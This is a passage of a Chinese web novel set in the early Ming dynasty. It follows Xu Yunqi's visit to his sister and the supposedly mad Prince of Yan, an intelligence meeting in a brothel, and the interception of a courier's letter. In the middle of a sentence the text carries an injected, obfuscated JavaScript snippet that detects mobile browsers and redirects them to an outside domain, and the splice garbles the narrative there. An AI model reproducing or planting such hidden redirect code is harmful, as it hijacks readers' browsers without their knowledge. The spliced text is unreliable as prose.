“别——管——他!”徐雯一边跑,一边热泪盈眶道:“他刚刚听见你来……脱……脱了衣服,跑城里去了——!” 又一群大象奔过云起的脑袋。 云起也跟着一起热泪盈眶了。 “就是……这样。” 徐雯呜咽道,继而亲手捧了茶,放在张昺面前,一把鼻涕一把泪道:“张老,方才得罪了,对不住啊……” 云起道:“姐,你……” 徐雯大哭道:“只求皇上给我做主,我不活了——!” “……” 张昺比徐雯更想嚎啕,当即老泪纵横道:“王妃,看开点……” 徐雯将云起丢在一旁,悲道:“张老,我徐家满门忠烈,我父亲乃是开国功臣,如今将我配给一个疯子!我不甘心!我不甘心呐!” 云起听得起了一层鸡皮疙瘩,仿佛看到二哥徐增寿变了鬼在朝自己招手,徐雯哭得天昏地暗,云起看了片刻,忍不住也哭了起来,拉着徐雯的手,道:“姐,别哭了。” 徐雯一把将云起甩开,一头撞在桌上,咕咚一声昏了过去。 “姐——!” 云起骇得魂儿都飞了,本就搞不清状况,如今竟是信了个八成,看来朱棣这次真是大事不好了,一时间王府上下乱成一团。 “王妃晕过去了! 云起忙抱起徐雯,吼道:“快传大夫啊!” 张昺见状不敢再坐,忙道:“这个……老夫……” 云起心急如焚,道:“快来人带张老去歇下!” 说毕匆匆抱着徐雯入内,不片刻大夫来了,满房掐人中的掐人中,戳针的戳针,上毛巾的上毛巾,徐雯终于幽幽醒转。 “姐。”云起见到徐雯这模样,姐弟连心,当即心如刀绞,咬牙道:“你们都退下!” 下人退了后,云起便抱着徐雯,伏在她身上,嚎啕大哭起来,边哭边道:“到底是怎么回事啊!我还以为姐夫是装的!” 徐雯美目含泪,梨花带雨道:“确实是装的……” “……” 云起险些一口气缓不过来,翻白眼昏了过去。 “那你现还哭甚!?”云起醒转过来,朝徐雯大吼道。 徐雯呜咽道:“刚哭过头了,现在……换不过气儿来,呜啊——!你这狠心短命的小混蛋!你知道姐多担心你吗!” 云起彻底崩溃了。 一个时辰后。 云起铁青着脸,徐雯“呵呵呵”地掩了嘴笑,又抽了把鼻涕,伸筷子夹了点菜,以手接着,喂进云起嘴里。 “这贵妃鸡,姐姐亲自下厨,特意做给你吃,昨天才杀的……” 云起嘴里咀嚼,又狠狠地横了徐雯一眼。 “唔,算了,烫花雕给我喝点。” 徐雯脸色一沉道:“小孩不能喝酒。” 云起抗议道:“我都二十多的人了!” 徐雯把腰一叉道:“多少岁的人在姐面前也是小孩,不许喝!” 云起只得作罢,咕哝道:“就喝一点,也不会出去乱说。” 徐雯扑哧一笑道:“你知道就好,酒后易失言,不喝为妙。” “热水刚吩咐人备下了,待会吃完去好好洗个澡,晚上睡觉时得盖两层被子,这北平秋天冷……” 云起叫苦不迭道:“知道了。” 徐雯又道:“住到过完正月十五再回去,横竖没啥事儿,就当回来省亲了……你姐夫现该去北平治辖司门口跑一圈了……是真疯假疯,自有人去回报皇上,你到时闭着嘴就是……” 云起哭笑不得道:“知道了……” 徐雯又道:“明儿别起太早,往日都是你伺候皇上,来家里住着,也等着让人伺候一次……” 云起咬牙切齿道:“知、道、了!” 徐雯掩嘴呵呵笑,剥了只大虾,笑道:“啊——” 云起张了嘴,徐雯见云起扒在桌沿的右手,倏然遭了晴天霹雳,楞道:“谁给你那玩意儿的?!” 云起动了动拇指,茫然道:“哦,姐夫的。” 徐雯道:“不是这只,知道是你姐夫的,那只呢?”说着努嘴,道:“有相好的姑娘家了?怎不告诉姐?” 云起讪讪道:“皇上赏的。”说着抬起小指头,把玳瑁戒指在徐雯面前晃了晃。 徐雯这才点了点头,把虾喂过去,道:“啊——”云起再次张嘴来接。 徐雯倏然又道:“你姐夫扳指咋在你手上。” 云起道:“姐夫找我借了点钱花用,拿扳指押着。” 徐雯点了点头,又道:“啊——”云起张嘴接。 徐雯突然又道:“脖子上挂着啥!” 云起怒道:“有完没完!” 徐雯不满道:“快说。” 云起拎出脖颈悬着那玉佩,道:“锦衣卫的兄弟给的。” 徐雯满是怀疑的神色,追问道:“仅是兄弟?断袖了不曾?” 云起道:“真的!就是好兄弟,再没别的了。” 说话那时,忽听窗格外咯噔一响,声音极轻。 云起心头一凛,大虾终于塞进嘴里,云起嚼着,忐忑不安,徐雯又酸溜溜道:“弟啊,你身上定情信物多得很呢……” 云起唰地红了脸,忽道:“姐,二哥前阵子给你派了个突厥人当小厮么?” 徐雯想了想,撇嘴道:“问这做甚?啊!你见过那家伙?上回陪你姐夫回京,便是朱锋……怎的?” 云起尴尬道:“叫朱锋?我和他倒谈得来,他住哪儿呢。” 徐雯不虞有他,随口答道:“这王府上下,下人们多了去,我哪知道,不知躲哪犄角旮旯里呢,你谈得来,明儿唤他到你房外,当小厮使唤就是,过几天让他陪着你逛逛北平?” 云起拍案道:“那成,我正想说……” 徐雯又道:“张嘴,啊——” “……” 云起道:“我……饱了,回去歇着。” 徐雯怒道:“不成!瘦得猴儿吧唧似的,价成日皇宫里吃馊水呢,皇上也不知道看着点儿……” 云起哭笑不得,心想朱元璋何时还当保姆来,徐雯偏不让云起走,死活给半喂半塞地打点四碗饭,半只鸡,一只鱼,一盘虾,又有山珍海味若干,只令云起吃得顶到嗓子眼,徐雯方不情愿道:“好了,回去歇着罢,晚上要尿怕黑,大叫一声姐……” “……” 云起扶着墙出房,徐雯还跟在身后,一面不住念叨。 厅中灯火通明,一人飞檐走壁而来。 见到那人时,云起脑袋中又有一群大象奔跑过去。 来人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472498|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是不着寸缕的燕王朱棣,只见朱棣脱得精光,犹如绝世武林高手,一脚踏上围墙,朝下一跃,安然落地,大有“我自挺腰朝天笑,风吹唧唧好凉爽”之气概! “哈哈哈哈哈哈——!” “哇哈哈哈哈!”朱棣张着嘴狂笑。 “我……” 云起彻底抓狂了。 朱棣虽年过三十,仍保养得极好,常年戎马生涯,骑射锻炼出的手脚修长,腹部肌肉轮廓分明,身材匀称较之英俊锦衣卫不遑多让。 虽是个疯子,却也是个俊美的疯子。虽是在裸奔,却也是极其赏心悦目的裸奔。 云起看在眼中,险些一口血喷了出来。 朱棣挺着腰,在花园里血脉奋张,呼哧呼哧地跑了两圈,徐雯柳眉倒竖,低声喝道:“就我俩呢!快去把衣服穿上!” 朱棣一跃扑了上来,嘿嘿笑道:“小舅子!你可来了!” 云起满脸通红,转过头去,朱棣又抱着云起不放,嘴唇在其耳畔不断厮磨,撒疯道:“姐夫可是天天念着你……哎呀!哎呀!”一句未完,便被徐雯揪着耳朵,拖了进房。 “你装上瘾了是不……” “云起这不也男人么……” 声音渐小,门砰地关了,徐雯又喊道:“弟你自个睡去罢啊,随便找个下人带你去房里。” 那一幕极具视觉冲击力,云起当着徐雯的面被朱棣一抱,又乱亲乱啃,仍有点口干舌燥,尴尬透顶,摇了摇头,自摸出花园去。 夜深,徐雯挑暗了房内灯火,朱棣赤着身子钻上了床,徐雯呸道:“小舅子面前也没点正经。” 朱棣一动不动躺着,身上裹了被子,裹得像只毛虫,这时间倒是挺乖,笑道:“云起何时到的?晚饭吃了么?” 徐雯道:“吃了,亲眼看着的。” 朱棣道:“嗯,让他吃饱点儿,云起在京城当差不容易,又被骂又被打的,锦衣卫守着皇上,吃个饭也赶不上趟……” 徐雯嗔道:“王爷,你自个晚饭还没吃呢。” 朱棣闭上双眼,“嗯”了一声,油灯淡光照在英俊的脸上,徐雯看了一会,道:“我让人做点宵夜?” 徐雯不听应声,便走到书架前,踮起脚尖去翻书,忽地蹙眉道:“我看了一半的那本书咋没了?谁偷了?” 朱棣不答,片刻后呼吸均匀,装疯卖傻地裸奔了一天,疲惫得很,竟是睡熟了。 拓跋锋蹲在马厩外,面前地上摊了张纸,脚边摆了一罐浆糊。 拓跋锋手里拿着剪刀,另一手拿着本书,对着微弱灯光端详半天,像是在认那上面的字。 认了许久,拓跋锋从书上咔嚓咔嚓剪下几个字来,排了顺序,贴在纸上。继而把书揣进怀里,浆糊用脚一踢,稳稳当当飞起,正落在墙头上。 拓跋锋哼着歌,一路进了后花园,见一件房内灯光将云起的侧脸映在窗上,便停了脚步。 他呆呆看了片刻,坐了下来,手里拿着那张纸,揉成一团,过了一会,展开。 又过了一会,再次揉成一团。 就这么坐着,不知看了多久,云起的房内灯光熄了。 拓跋锋把纸展开,借着月光看了一眼,折好,把它塞进云起房间的门缝里,转身走了。 翌日清晨,门外传来“沙沙”声。 云起在这声音中醒来,猛地睁开眼,大叫道:“荣庆——!” 云起连滚带爬地扯了飞鱼服,咬着绣春刀,匆匆奔出房外,大骂道:“早朝咋也不喊声!挺尸呢你们……” 院内一小厮扫着落叶,与云起大眼瞪小眼。 云起这才反应过来是在度假,哭笑不得道:“没把你吓着吧。对不住了。” 小厮心有余悸地点了点头。 云起打了个呵欠,暗笑自己穷紧张,转身回房睡回笼觉,忽见门槛上落了张折得四四方方的纸,躬身拾起展开一看: “今夜戌时……城中揽绿林……勿来。” “勿来?”云起一头雾水,对着清晨阳光,仔细端详那剪下来的贴字,莫名其妙。 “什么叫勿来?” 云起百思不得其解,而后恍然大悟,八成是“务来”,可见错别字害死人。 其实并非拓跋锋贴了错别字,而是他翻了半天那书,找不到“务”字。 18. 装疯卖傻 云起好奇地端详朱棣许久,毕竟他还是第一次见到活的疯子,这很值得研究。疯子的心态究竟是怎样的? 换句话说,朱棣要伪装疯子,自然也得懂得疯子的心理,否则不就很容易露馅么? “姐夫!”云起蹲在花园里,抓着朱棣的肩膀,摇了摇。 朱棣今天总算穿上王服了。 燕王嗡嗡嗡地拿着一根芦苇管子,弓着身子,挠了挠大腿,与云起大眼瞪小眼。 云起道:“现没旁的人来,咱说说话,姐夫你先别装了,歇会儿。” 朱棣吹了个口水泡泡,伸长了嘴,要来亲云起,云起满脸通红,只得起身走了。 徐雯与一个和尚,一名官员路过花园,见到云起,怒道:“弟,过来!别跟那疯子在一处!仔细连你也疯了。” 云起哭笑不得,跟上徐雯。 “这位是你姐夫的好朋友,姚广孝大师。”徐雯笑着朝云起介绍道。 丫鬟们摆上烹炉,徐雯挽袖去舀茶叶,姚广孝却行了个抱拳礼,呵呵笑道:“这位就是堂堂锦衣卫,徐云起正使!可算见着真人了!” 云起忙不住谦让,徐雯笑道:“嗨,就是个小跑腿的,什么正使,姚大师把他当小辈儿唤着就是。” 那中年官员则是北平都指挥使谢贵,本与姚广孝熟络,又知云起乃是天子座前红人,忙自我介绍,并着力巴结。 四人坐于一张镂金矮几旁,徐雯亲手烹了茶斟上,下人端上精致糕点,席间所说俱是谈论朱棣疯病一事,云起只恐说多错多,况且对北平政事不熟,便虚应着话儿,胡乱寒暄几句。 谢贵细皮白肉,肥头大耳,显是长期养尊处优,说话也是细声细气,此刻忧道:“上回中秋前来了府上,王爷还好好的,怎从北平回来,便成这模样了。张老昨夜还亲自来看过,唯今之计,只得让张老亲笔写了信,回禀圣上,再看朝廷如何发话了……” 姚广孝道:“王妃切莫悲痛过度,伤了身子,照我看来,竟是王爷回北平时吹了风,或是染了外疾,一时迷了心窍,这病治得成……” 正交谈间,云起眼角余光瞥见朱棣进来了。 朱棣嘴巴叼着芦苇管子,嗡嗡嗡地在房里走了几圈,徐雯只当见不到,幽幽叹道:“若治不成,我还是得回京城去,和云起相依为命了。” 桌前四人都不敢转头去看朱棣,朱棣却自觉地凑了过来。 云起看了朱棣一眼,只见朱棣叼着芦苇管,朝徐雯嫩脸上一戳,吱吱地吸了起来。 徐雯舔了舔嘴唇,道:“弟,带你姐夫……” 朱棣“啵”地松了口,徐雯脸上留了个吸得红红的印。 那席间客人表情极是古怪,云起茫然道:“姐夫在做什么?” 徐雯道:“在学蚊子……带他出去。” “……” 云起巴不得快点脱身,忙半抱着朱棣,把他拖出了花园。 云起蹲在檐廊下,看着朱棣。 片刻后徐雯吃了茶,送姚广孝与谢贵出门,云起忙起身陪着送客,送客回转,又见花园里朱棣跟数只仙鹤站在一处,单脚站着,一手高举,戳在额前。 “这次是仙鹤?”云起好奇道。 徐雯看了一眼,道:“我们吃午饭去,别管他。” 午饭后,云起又路过花园回房睡午觉,见朱棣抱在树上,知了知了地叫。 云起看了一会,同情道:“姐夫,歇会罢,又没客人,装给谁看。” 朱棣“知了——”的叫声停了,两脚拍了拍树干。 “……” 抱着树一下午,云起暗自钦佩,朱棣看来也是个武功高手。 睡完午觉出来,云起匆匆走到花园,要看朱棣又有啥新花样,一见之下,登时五雷轰顶。 “姐——!”云起抓狂大叫道:“不成了!姐夫他在吃……他疯了!” 朱棣蹲在花园里,抓起地上不知何处来的,软绵绵的,黄黄的条状物,吃得正高兴。 徐雯匆匆出房,身后跟着午后前来亲切慰问的张昺,徐雯尖叫一声,张昺登时转身去干呕。 “怎也不看着王爷——!”徐雯尖叫道:“快来人!” 张昺吐得天昏地暗,也顾不上告辞,便见了鬼一般地逃了。 云起全身汗毛倒竖,大叫道:“啊啊啊啊啊啊——!也不用这么敬业罢!!你装仙鹤装蚊子装知了就好了啊啊啊!!吃屎做啥啊天啊啊啊!” 徐雯叫苦不迭道:“好了好了,人都走了,小声点儿。” 云起还处于极强烈的震撼当中,看着朱棣吃得满嘴……黄糊,肚内一阵翻江倒海。 徐雯道:“那是蜂蜜和着面粉调的,走,咱踢毽子去,别管他。” 云起思维一片空白,被徐雯倒拖着走了。 朱棣狼吞虎咽吃着蜂蜜面粉填肚子,午饭没赶上,显是饿得狠了。 拓跋锋在花园拱门处探头探脑地看了一会,走近前来,狐疑地抽了抽鼻子,蹲下去,与朱棣对视片刻。 拓跋锋捏了点尝,咂吧嘴,道:“蛮好吃。” 拓跋锋伸出左手,手指钳着朱棣耳朵,右手则捏着自己耳朵,同时捏了捏,像是在比较二人耳朵谁的比较软。 朱棣终于破功了,怒道:“你才惧内!” 说毕将那蜂蜜糊了拓跋锋满嘴,怒气冲冲地撩了袍襟,朝假山上一跳,按照日程表开始学青蛙。 晚饭后,朱棣在花园里一蹦一蹦,云起见怪不怪,也懒得问他在学啥了。 徐雯懒懒倚在榻上,翻着本书,与云起姐弟俩随口扯着话,末了又打了个呵欠。 “当惯了差,一闲下来,竟是不困。”云起道:“那朱锋呢?” 徐雯道:“被你姐夫派出城去,不知做甚,过几天回来再说。” 云起只得作罢,徐雯又道:“姐吩咐了个小子伺候你,房里端茶倒水的,喊他去就是。”说毕又喊道:“三保——” 白日间在院子里扫落叶,把云起吵醒那小子来了,三保一身干净灰袍,低眉顺眼地在厅外站了,年纪,身板与朱允炆相近,脾气亦甚是恭顺。 云起点了点头,徐雯又道:“你夜里便让他住房里外间,要使唤得顺手,年后带回京去。” 云起哪敢朝宫里带小厮,哭笑不得道:“宫里除了公公们就是侍卫,随便带男孩进去,背后非得被太傅戳死。一群吃饱了没事干的男人们凑作堆,多了个小子,平日还不知怎么被欺负呢。” 徐雯漫不经心道:“三保祖籍是云南人,本就得进宫,宫里选执事那会儿,你姐夫送了二十来个人,他家出了点事儿给耽搁了,没赶上趟,白挨一……” 云起“嗯”了一声,知道徐雯想说白挨了一刀,这事说多了恐怕伤那孩子自尊,遂道:“我睡去了,咱俩回院里罢。” 徐雯嗔道:“先是想那猪疯,现见了这三保就跟猴儿似的,该给你说门亲事了,价成日一身力气没处使,巴巴地指望大姐给你派小厮泄火不成。” 云起咬牙切齿挥拳道:“没那回事!” 徐雯扑哧娇笑,云起这才尴尬无比地跟着三保走了。 云起在院里停了脚步,问道:“王妃吩咐你做什么?” 三保恭谦温顺,答道:“王妃吩咐我遂着小舅爷的意,让做什么就做什么。” 云起想了想,随手掏了点碎银赏他,道:“揽翠林怎么走?你给我说说。” 三保躬身道:“谢舅爷。”语气不卑不亢,又微笑道:“那地儿说不清楚,我给舅爷画张图。” 说着入了房,三保扯得纸来,便草草几笔勾出城中地形,又标了名,云起道:“哟,你这字倒是漂亮,女孩儿似的,念过书?” 三保谦道:“小时爹教过点,进了王府,零零碎碎又跟王妃学了点。”说毕一笑道:“舅爷晚上想出去走走?” 云起“嗯”了声,道:“你不可跟着,也别给我姐说,约了人,自去转转。” 三保搬了张椅,看着门,云起便走了。 揽翠林……云起边走边看地图,北平酉时甫过,全城华灯初上,煞是繁华。那路边又有老北平茶馆开着铺,说书的,弹唱的,天桥地下挑了五颜六色彩灯,映着贩子们的糖葫芦与面人,云起照着地图走了许久,却是被引到了北平最为繁华的地段。 这地儿有林?云起一头雾水,四处张望。 “大爷,哎,问您……这揽翠林在哪儿呢……” 那路过老伯脸色尴尬,朝远处一努嘴,云起见那灯红酒绿间,对楼悬着一大招牌,上书三大字:“揽翠林。” “……” 云起看直了眼,还未反应过来,倏然间瞳孔收缩,翻手亮出袖中蝉翼刀! 背后一人无声无息欺近前来,呼吸气息触及云起脖颈的瞬间,云起便疲惫松了口气,道:“老跋。” 一只手横着揽过,蒙住了云起双眼,另一手搂住了他的腰,拓跋锋从背后抱着云起,低下头,在他脖侧迷恋地亲了一口。 “师哥……”云起忍着心酸道:“就知道是你。” 那蒙在眼上的手指修长温暖,纵是隔了这许多年,云起亦再熟悉不过。 然而拓跋锋沉默着,食指朝后轻划,变戏法般扯出一块黑布来,蒙住了云起的双眼。 “要做什么?”云起有许多话想对拓跋锋说,不料他却来了这一手,紧接着,拓跋锋松了手,为他扯直衣领,一手揽着云起的腰,迈开步子,带着他朝前走去。 云起黑布条蒙着眼睛,辨不清方位,只听得出拓跋锋朝着人多的地方走。 “师哥?”云起狐疑道:“你不能说话么?是那药的结果?” “能。”拓跋锋生硬地回答道。云起放下心来,且看他搞什么玄虚。 花厅中丝竹声停,梁上悬的鹦鹉呱噪道: “贵客到——贵客到——” 拓跋锋站稳脚步,云起不安地侧过头,倚在拓跋锋肩上。 “大爷——” “唔。”拓跋锋一手将那上来迎的小倌推了个屁股墩,漠然道:“参军设的席在哪里。” 揽在云起腰上的手臂轻轻一紧,云起沉默不语,跟着拓跋锋上楼。二楼叮叮咚咚,小倌展着清脆嗓子唱道: “……今日春来,明朝花谢,急罚盏夜阑灯灭。” 尾音绕梁,渐不可闻。 一人洪亮声音大笑道。 “哟,朱兄弟来了!来来来……” 二楼花厅设了数张矮茶几,每张矮几后俱有男人席地而坐,见拓跋锋来了,均大声招呼。 拓跋锋拥着云起入席,淡淡道:“来迟,自罚三杯。” 一人声音浑厚,笑道:“朱兄弟这可不地道,宿柳还带自家小厮来的?该罚!” 云起坐下,拓跋锋仍一手抱着他不放,云起不自然地倚在拓跋锋左身,只听拓跋锋道:“头次来,带云儿出门玩,见识见识。” 这是什么地方?便是揽翠林?是嫖小倌的楼?云起心念电转,想了无数问题,拓跋锋带自己来做什么?探听情报?对面那几人是谁? 若所猜没错…… 果然席间有人道:“王参军,您老近来可是忙得很呐,接钦差,办公文,怎有空摆花酒来了?” 那浑厚声音答道:“互通有无,互通有无!” 唱曲儿那小倌退了,顺手拢上花厅的门,众人纷纷敬酒,彼此喧哗,云起辨出厅内有八人。< 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朱棣装疯,不便出门,王府中派出的联系人便是拓跋锋,见拓跋锋轻车熟路,像是与这几人相识已久。 云起脸色凝重,颊上带着一丝酒劲的淡红,拓跋锋低头看着云起,伸指去捏他脸颊,不自觉地微笑道:“信何时送出去?” 一人答道:“封信那会儿交了给我,着我连夜派人送回京城……” 云起心下凛然,料想此人在布政使府内身居要职。 果然王参军朝那人道:“李大人可曾见那信上写的何话?” 姓李男子嘿嘿一笑,喝了口酒,慢条斯理道:“信中大意是:王爷确实疯了,请圣上裁决。” 拓跋锋沉吟片刻,而后道:“信使出城了?” 李大人悠然道:“自然未曾,朱兄弟怎说?” 拓跋锋道:“夜半令其出城,派个弃卒去。” 李大人不答,料是点了点头。 王参军又道:“府上如何作想?一味拖延,并非长久之计,凡事谋定而后动……” 李大人咳了一声。 数人醒悟过来,拓跋锋怀中还抱着一人,那人可是与这组织毫无关系,拓跋锋知道情报已透露足,便淡淡道:“公事到此为止,各位大人请作乐罢。” 一人道:“且慢,朱兄弟,你带来的这位小兄弟,当真是枕边人?” 拓跋锋正要搂着云起出席,一听这话,哂道:“枕边人?” 说毕眯起双眼,目中透出锐利神色。 那人冷冷道:“怎看怎不像。两位这就走了,不再坐会儿?” 拓跋锋淡然道:“不像?你们唤小倌们来就是。” 那时间花厅们一开,数名小倌进厅,倚到男人们身旁,李王二人却是不住眼打量拓跋锋怀中那人,只觉云起与温柔旖旎的小子们,气质,容貌俱是大有不同。 拓跋锋本欲就走,却见众人存疑,便道:“云儿自小瞎了双眼,父母双亡……”说着又朝那席上古琴一指,道:“拿来。” 小倌将古琴捧到食案前,拓跋锋伸出一手,抚上琴。 那时间云起与拓跋锋心意相通,亦同时伸出手来,按在琴弦上,一人按弦,另一人拨弦,只听琴声铮地一响。 琴声中金戈铁马,肃杀之气大作! 云起悠悠道:“美人自刎乌江岸。战火曾烧赤壁山,将军空老玉门关……” “伤心秦汉,生灵涂炭!读书人……一声长叹。” 琴声一收,如裂玉帛,刹那间将小倌们尽数震住。 “好!” 王参军赞道:“有此枕伴,庸脂俗粉,都是嚼蜡,难怪朱兄弟舍不得。” 席间人纷纷赞叹,李大人打趣道:“未见真容,小兄弟,转过来看看?” 拓跋锋轻轻扳着云起那脸,转向灯光,让众人看个真切。 数人齐齐抽了口气,云起脸色显白,眼上蒙着黑巾,清秀脸庞在灯光下略现潮红,当真是极美的少年。 “只可惜有目疾。”王参军唏嘘道。 拓跋锋淡淡道:“就算容毁身残,爷也得仔细疼着,一双眼,有何打紧?” 李大人疑心仍未打消,忽道:“光看那唇,那鼻,怎与徐王妃似得很?” 拓跋锋哑然,众宾客评头论足,李大人又蹙眉道:“听闻朝中还有一名钦差,乃是皇孙御犬,正是王妃最小的弟弟……” 拓跋锋嘲道:“若真是锦衣卫,怎会如此百依百顺,扮作小厮入青楼?” 李大人正要再说什么,拓跋锋已伸指到云起领口轻扯,拈了绣带拉开,云起别过脸,埋在拓跋锋胸膛前,微微喘息。 拓跋锋一手环着云起的腰,扣着云起后领下扯,将外袍连着里衣拉了下来。 云起发出一声紧张的喘息,继而被拓跋锋放在软垫上。 这一下所有人疑虑顿消,谁敢把王爷小舅子按倒便奸?不可能是锦衣卫。 拓跋锋云起那对一开头,小倌们纷纷不依,各自软似无骨,便朝大爷们怀里钻去,一时间花厅内翻红拂绿,酒几后一对两对,都亲吻起来。 拓跋锋搂着云起,便吻了下来,这野兽般的吻令云起险些岔了气,只道虚应着光景,不料拓跋锋却是假戏真做,吻得云起一身发热,又探手扯开自己那身侍卫服,如同一只健美的猎豹,再次吻下。 云起探手去推,推到拓跋锋的胸口,登时满脸通红,缩回了手,手指瞬间被拓跋锋扣住,按在地上,拓跋锋沿着云起脖颈一路下吻,云起咬牙道:“慢……” 拓跋锋抬头,亲了亲云起耳朵,漠然道:“酒里有药。” 19. 上房揭瓦 拓跋锋与云起站在黑暗的巷内,夜近子时,北平街上空空荡荡,偶有的几家面馆送走最后一波吃宵夜的客人,关门打烊。 “回家去?”拓跋锋低声道。 云起解下蒙在目间的黑布,眼里蕴着笑意,望向拓跋锋,道:“带我去截住那信差,我要看看信。” “不行,你不能去。” “不,要去。” 拓跋锋转身就走,云起一个飞扑,抱着拓跋锋的腰。 “松……松手……” 云起笑道:“带我去……”说着一面用手去捏拓跋锋的耳朵。 拓跋锋站了一会,脸上微红,背对云起稍稍蹲下。 “脚软了……” “哦。” 云起乍见拓跋锋,只觉说不出的高兴。 房舍在身边掠过,拓跋锋低声道:“还痛么?” 云起含糊地“嗯”了声,答道:“有点儿……在哪儿截他?” 拓跋锋“嘘”了声,让云起下来,二人在北平城外的官道上隐蔽身型。 拓跋锋低头在草地里找来找去,那模样像极了寻骨头的狗,云起笑得眼泪都出来了,打趣道:“在干嘛?装狗么?” 一句话未完,身后农舍内传来夜半犬吠,继而惊动了屋中人,那屋里住了一家三口,狗叫惊醒了小孩,幼儿啼哭声依稀传来。 拓跋锋忙紧张示意噤声,云起这才讪讪住嘴,见拓跋锋从田埂上翻出一张弓,翻身跃上屋檐,继而朝云起招呼道:“上来。” 云起悄无声息地攀到拓跋锋身边,不远处那土狗只不住狂吠,云起袖子一招,蝉翼刀折射着月光荡了道优美弧线,狗静了。 拓跋锋道:“王爷吩咐,信上要揭穿了他装疯,就把信差杀了……” 云起微一沉吟,便判断出朱棣的做法:“若信上说真疯,就放张昺的信使回去?” “你又没有亲眼所见,怎知信上确是如此说?”云起反问道:“万一那偷看信件的桩子叛了你俩,这事可就麻烦了。” 拓跋锋望着大路,沉默不答。 “……” 拓跋锋鹰隼般的双目锁定了农舍正对着的大路。云起自觉地蹲在拓跋锋身前,让他覆着自己的手,一片静谧中,两人半跪在洒满月光的屋顶上,一同扯开了那半人高的长弓。 “杀?”拓跋锋低声问道。 云起蹙眉不语,朱允炆绝没这般容易糊弄,黄子澄更是铁了心要找朱棣麻烦,这信件纵是平安送抵南京,说不得也极有可能被黄子澄掉包,到时反而更加被动。而信件若迟迟未到,朝廷便不敢轻举妄动,顶多偏转枪口,先拿其余几名藩王开刀。 所以无论信上写的什么内容,都必须在今夜将其截下,顺带着可令张昺等人疑神疑鬼。 况且云起几乎可以肯定,这信上没什么好话。 燕王是他亲戚,张昺若判断其是真疯,也该先知会云起一声,顺水卖个人情,如此不声不响就遣人送信出城,一定有什么内情是不能说的。 马蹄声响,一匹骏马从城中奔来。 那是张昺派向南京传讯的信差,信差一路疾奔,路过农舍。 云起不再犹豫,轻微调整了一个角度,在高速移动的奔马疾影中,妙到巅峰地揪到准头。 云起与拓跋锋心有灵犀,同时松弦,嗡的一声,箭如流星坠地! 官马仰头嘶鸣,信差淬不及防被利箭贯穿了肩膀,遭战马甩了出去! 信差吃痛大吼:“什么人——!”继而吃痛狂奔,拖出一道血线。 一袭灰影如雪鹰般掠过,拓跋锋翻身轻巧落地,截住那信差,抽出腰畔绣春刀,甩手抛出。 绣春刀刃折射着耀眼的银光,从拓跋锋虎口处飞出,于空中高速旋转,银盘般掠向那奔逃信差,继而穿透信差小腿,将其钉在地上。 信差吃痛大喊,云起躲在树后,只见拓跋锋躬身,从信差身上搜出一封信,回刀入鞘,走向云起,递过信,低声道:“你看,我不看了。” 云起对着月光展开信纸,看了一眼,手指摩挲纸张,松了口气。 那纸张乃是加厚特制,锦衣卫玩这套是熟得不能再熟,云起笑道:“我猜对了,走罢,回家去。” 拓跋锋似懂非懂地点了点头。便放过那信差不杀,与云起走了。 “你把这信交给姐夫,可千万别说是我做的。”云起翻身爬墙,朝拓跋锋低声道。 拓跋锋对云起是毫无保留的相信,“嗯”了一声,肩膀抗着云起,让他翻进后院。 云起笑着爬上墙头,笑容倏然僵在脸上。 三保跪在院子里,低头不吭声,徐雯双手叉着小蛮腰,一声河东狮吼,震得全府砖瓦格格作响。 “徐云起——!三天不打!上房揭瓦!” 拓跋锋听到徐雯墙内声音,登时吓得魂飞魄散,拿不定主意该怎办,筛糠般的天人交战一番后,终于,徐雯的威慑力彻底战胜了他的爱情。 拓跋锋转身就跑。云起冷不防脚下一滑,又摔了下去。 “喂,你……”云起连滚带爬地站起,拓跋锋已沿着王府外墙,跑得没影儿了。 云起定了定神,正要跟着逃,忽被钳子似的手指捏着耳朵,登时哎呀呼痛,被追出来的徐雯一路拖回院内。 徐雯又好气又好笑,怒斥道:“半夜三更的,跑哪儿去了!” 云起忙不迭地求饶,道:“先让三保起来,他确实不知道我去哪……大姐你是何苦来……” 徐雯一脚把云起踹了进房,训道:“全北平都盯着咱家人呢,再乱跑,仔细你的皮儿。” 云起叫苦连天,徐雯眼珠子转了转,道:“我那两本书呢,一本《三国》一本《礼记》你拿了?” 云起茫然道:“没有啊。” 徐雯又严厉训斥数句,云起在房中赌咒发誓不敢再乱跑,徐雯提着马三保的衣领,把他从窗口扔了进去,这才拍拍手,转身走了。 朱棣脱了上衣,一身大红饕餮王服搭在腰间,伏在地上做俯卧撑。肌肉纠结的背脊上出了一层细密的汗。 朱棣见徐雯回房关门,便从地上起来道:“内弟去哪了?” 徐雯懒懒瞥了朱棣一眼,道:“多管闲事。” 朱棣笑道:“夫人叫这么大声,嘴巴干了罢,那处有茶……” 徐雯坐到榻边,端来青瓷茶盏,喝了几口,道:“二十出头的小伙子,在钟离那儿早就娶媳妇了,改天得给他说个女孩儿,免得半夜爬墙偷腥。” 朱棣坐到徐雯身边,莞尔道:“云起这么大人了,娶媳妇儿啥的,心里也该有数才是。你别管了,啊。” 徐雯嗔道:“不管怎么成,一个娘生的,我不管谁管?” 朱棣心不在焉道:“包我身上就是。”说着眯起眼,道:“他问起锋儿了不曾?” 徐雯道:“没呢,哎我说,你俩咋都将那猪疯挂嘴边呢,他究竟是个啥人物这么……” 朱棣忙笑道:“没没没,爱妃……”说着便伸手去扳徐雯肩膀。 徐雯尖叫道:“还没说完……”旋即两脚乱蹬,被朱棣按在床上。 云起躺在床上,嘴角带着微笑,辗转反侧,那房间分为内外两室,云起睡在内间,脚炉,锦被等一应俱全。三保则睡在外间。 “三保你冷不?”云起问道。 三保坐起身,不安道:“舅爷冷么?我这去把炉子生旺了。” “不不。”云起忙道:“你睡,我看你被子少,就白问问。” 三保躺下,笑道:“服侍舅爷比起王府里旁的差使,直是好到天边去了。况且小的……” “说‘我’就可以了。”云起道:“今儿谢谢你了啊。” 